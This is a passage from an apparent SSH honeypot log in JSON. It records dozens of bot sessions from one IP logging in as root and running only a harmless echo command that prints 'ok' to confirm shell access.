  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:54.217194+00:00",
  "ended_at": "2026-08-23T09:17:55.465401+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c217f305-494f-425a-a330-4b8f56eb8589",
  "name": "earnest-dutiful-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47048,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:51.444820+00:00",
  "ended_at": "2026-08-23T09:17:53.495394+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2f437ece-040a-43cb-a0a5-470ccad6a5e3",
  "name": "deft-inland-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:48.693374+00:00",
  "ended_at": "2026-08-23T09:17:50.783067+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "28972b1f-f797-4cc6-b335-62142408342b",
  "name": "feathered-solar-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55300,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:45.992864+00:00",
  "ended_at": "2026-08-23T09:17:47.966167+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0e7b880e-88c6-4bf6-b33b-eee5748be018",
  "name": "blazing-velvet-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55296,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:43.433917+00:00",
  "ended_at": "2026-08-23T09:17:45.270212+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a69ee894-171a-43ed-9d95-317790d364cd",
  "name": "ashen-electric-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55290,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:40.693479+00:00",
  "ended_at": "2026-08-23T09:17:42.753910+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e9a2705c-5ad3-49ec-9a57-049d69d62b0f",
  "name": "boreal-fearless-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60342,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:37.609951+00:00",
  "ended_at": "2026-08-23T09:17:39.852626+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "394dc2ee-32c2-46a5-bc99-aec837cf59f9",
  "name": "slender-ivory-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:35.352401+00:00",
  "ended_at": "2026-08-23T09:17:36.963023+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1bc9bad2-3d75-4fe6-a7a1-afe26575189c",
  "name": "airy-subtle-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60326,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:32.738471+00:00",
  "ended_at": "2026-08-23T09:17:34.728932+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bfa8acc7-7576-45a5-9495-5ef88ebc1147",
  "name": "steady-candid-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:29.822284+00:00",
  "ended_at": "2026-08-23T09:17:32.102568+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fd2aef95-58c9-475a-8902-8efe3318a80f",
  "name": "restless-rapid-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36536,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:27.659524+00:00",
  "ended_at": "2026-08-23T09:17:29.028318+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fc56fd38-74bb-47e4-a7cb-e13189b58b92",
  "name": "inland-orderly-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36530,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:25.640123+00:00",
  "ended_at": "2026-08-23T09:17:26.941700+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a81b8b88-33c6-4ef5-9e5f-acae005884c5",
  "name": "pewter-wry-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36524,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:23.655427+00:00",
  "ended_at": "2026-08-23T09:17:24.801426+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5625de76-1263-4f53-9718-7f5f53798856",
  "name": "blunt-downy-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36518,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:20.868141+00:00",
  "ended_at": "2026-08-23T09:17:22.977606+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "abda9549-f9fb-409a-bf13-d0fdaf8d0175",
  "name": "hardy-vaulted-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44208,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:18.533597+00:00",
  "ended_at": "2026-08-23T09:17:20.208066+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8f47d18a-2cd9-4836-9f3b-459af059c373",
  "name": "blithe-upland-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44192,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:16.656400+00:00",
  "ended_at": "2026-08-23T09:17:17.907207+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e8b71ee9-4eff-4339-bcf0-b02a3c7d0b7e",
  "name": "indigo-silent-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44180,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:14.690247+00:00",
  "ended_at": "2026-08-23T09:17:16.022107+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "584eed2d-bfad-4c30-b740-e02747201457",
  "name": "marine-downy-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44172,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:12.651395+00:00",
  "ended_at": "2026-08-23T09:17:14.014242+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6486edb0-5678-4078-bb8a-459485ec6d23",
  "name": "sturdy-hushed-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44164,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:10.740449+00:00",
  "ended_at": "2026-08-23T09:17:11.938063+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9f00e9d5-9b02-4139-8a61-f7a51400f80d",
  "name": "tawny-austere-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51684,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:07.991926+00:00",
  "ended_at": "2026-08-23T09:17:09.909579+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "38a89a4e-5a46-42dd-8e53-734cc9945149",
  "name": "bronzed-woven-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51668,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:05.290446+00:00",
  "ended_at": "2026-08-23T09:17:07.284483+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1d83e778-5377-4fe0-a3ff-8ec8c38ad991",
  "name": "prickly-hardy-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51662,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:03.095931+00:00",
  "ended_at": "2026-08-23T09:17:04.645226+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "27f5b636-5ee6-4ebe-ad4b-6b7cd207114c",
  "name": "solar-sterling-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51658,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:00.153251+00:00",
  "ended_at": "2026-08-23T09:17:02.378169+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "07c01144-eac8-42d6-8009-97a6559d88e3",
  "name": "autumn-salty-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55052,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:57.505552+00:00",
  "ended_at": "2026-08-23T09:16:59.423381+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3b8fe985-2d82-44c2-8af6-987580ddc34f",
  "name": "coral-dutiful-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55040,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:54.663914+00:00",
  "ended_at": "2026-08-23T09:16:56.696867+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "24558807-c4d9-4fa8-b015-61f1b156c6f4",
  "name": "alpine-jaunty-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55038,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:52.649227+00:00",
  "ended_at": "2026-08-23T09:16:53.964659+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f9e9771c-7733-4fd4-82cb-fcbeb6722bf1",
  "name": "curious-rapid-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55034,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:49.961430+00:00",
  "ended_at": "2026-08-23T09:16:51.943942+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ee97637d-deae-4033-8429-bbc3aa4c7a0a",
  "name": "genial-weathered-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:47.756612+00:00",
  "ended_at": "2026-08-23T09:16:49.193107+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "68fee0b1-321b-4f0f-9a2a-590fef302e7a",
  "name": "rustic-gallant-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52856,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:45.349258+00:00",
  "ended_at": "2026-08-23T09:16:47.070189+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f07b4995-04b8-407f-8f80-5da0e1d5dfd6",
  "name": "verdant-jovial-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52852,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:43.070994+00:00",
  "ended_at": "2026-08-23T09:16:44.643190+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ecdcc46d-fd8c-40db-ba1c-6f90981a5381",
  "name": "jagged-upland-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52850,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:40.892259+00:00",
  "ended_at": "2026-08-23T09:16:42.440506+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "197cd4e3-5020-47e3-8a4a-80dd6e7a383d",
  "name": "lawful-courtly-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44392,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:37.951389+00:00",
  "ended_at": "2026-08-23T09:16:40.158277+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9b381251-1783-4834-886a-0d296aa968a2",
  "name": "hazel-meadow-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44380,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:35.779139+00:00",
  "ended_at": "2026-08-23T09:16:37.149042+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a866aae8-be42-4f49-92fa-5f4b1f507dad",
  "name": "frank-sleepy-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:29.575861+00:00",
  "ended_at": "2026-08-23T09:16:35.019020+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "36ccb8d1-da6c-4395-930e-1d949eafad5b",
  "name": "amiable-umber-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37324,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:27.183076+00:00",
  "ended_at": "2026-08-23T09:16:28.745912+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "baca3393-d7cc-4b50-b993-f6c5c27b695f",
  "name": "frosty-mellow-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:24.630364+00:00",
  "ended_at": "2026-08-23T09:16:26.380331+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "92055546-6d8a-4c40-86c3-997e9e86f4f8",
  "name": "crisp-supple-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37304,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:21.711019+00:00",
  "ended_at": "2026-08-23T09:16:23.801210+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8ea9d11b-53f9-453e-a191-ec1e1d48548a",
  "name": "frank-daring-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37296,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:19.461228+00:00",
  "ended_at": "2026-08-23T09:16:20.907088+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "35719afe-392d-490b-bfa4-186abb6b76e4",
  "name": "rapid-emerald-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41020,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:16.440072+00:00",
  "ended_at": "2026-08-23T09:16:18.681630+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "428d5eaa-8740-45a9-bc29-15fe2e9af016",
  "name": "craggy-boreal-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:13.834840+00:00",
  "ended_at": "2026-08-23T09:16:15.625299+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "27f6413d-9914-4c7c-9920-87618e4d0156",
  "name": "quiet-civil-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40998,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:11.841540+00:00",
  "ended_at": "2026-08-23T09:16:13.112848+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c68a88c1-c20b-4a2f-b720-00b7e69b4e4e",
  "name": "freckled-marbled-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40988,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:09.653247+00:00",
  "ended_at": "2026-08-23T09:16:11.042141+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2fda8d16-53fc-4249-bac5-8689f0636cb7",
  "name": "downy-idle-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50706,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:07.527307+00:00",
  "ended_at": "2026-08-23T09:16:08.913114+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8c5d546b-8ef3-4f2f-9c0e-8bed494b5e07",
  "name": "wry-reedy-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50692,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:04.708008+00:00",
  "ended_at": "2026-08-23T09:16:06.840043+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "84ae4da5-d111-4c1e-a5aa-07a9cb452b00",
  "name": "primal-solar-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:03.013443+00:00",
  "ended_at": "2026-08-23T09:16:03.912728+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ac08b16a-c811-4006-a4a5-a878731a0fd8",
  "name": "rapid-hushed-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:16:00.089535+00:00",
  "ended_at": "2026-08-23T09:16:02.314993+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a0b13f90-d1c4-4b20-a469-ee28872055b0",
  "name": "chilly-cheerful-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49718,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:58.291448+00:00",
  "ended_at": "2026-08-23T09:15:59.286743+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "af1161d6-d4c5-4710-b7ea-9bf23a95cfb8",
  "name": "mindful-forlorn-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:56.382703+00:00",
  "ended_at": "2026-08-23T09:15:57.631709+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "54bcc44d-4852-4a0e-8830-9b4d9781f9da",
  "name": "misty-jagged-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49702,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:15:53.952251+00:00",
  "ended_at": "2026-08-23T09:15:55.656031+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "468d5cf7-ec4a-4c7c-a103-51ac0f93898c",
  "name": "obsidian-painted-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49692,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
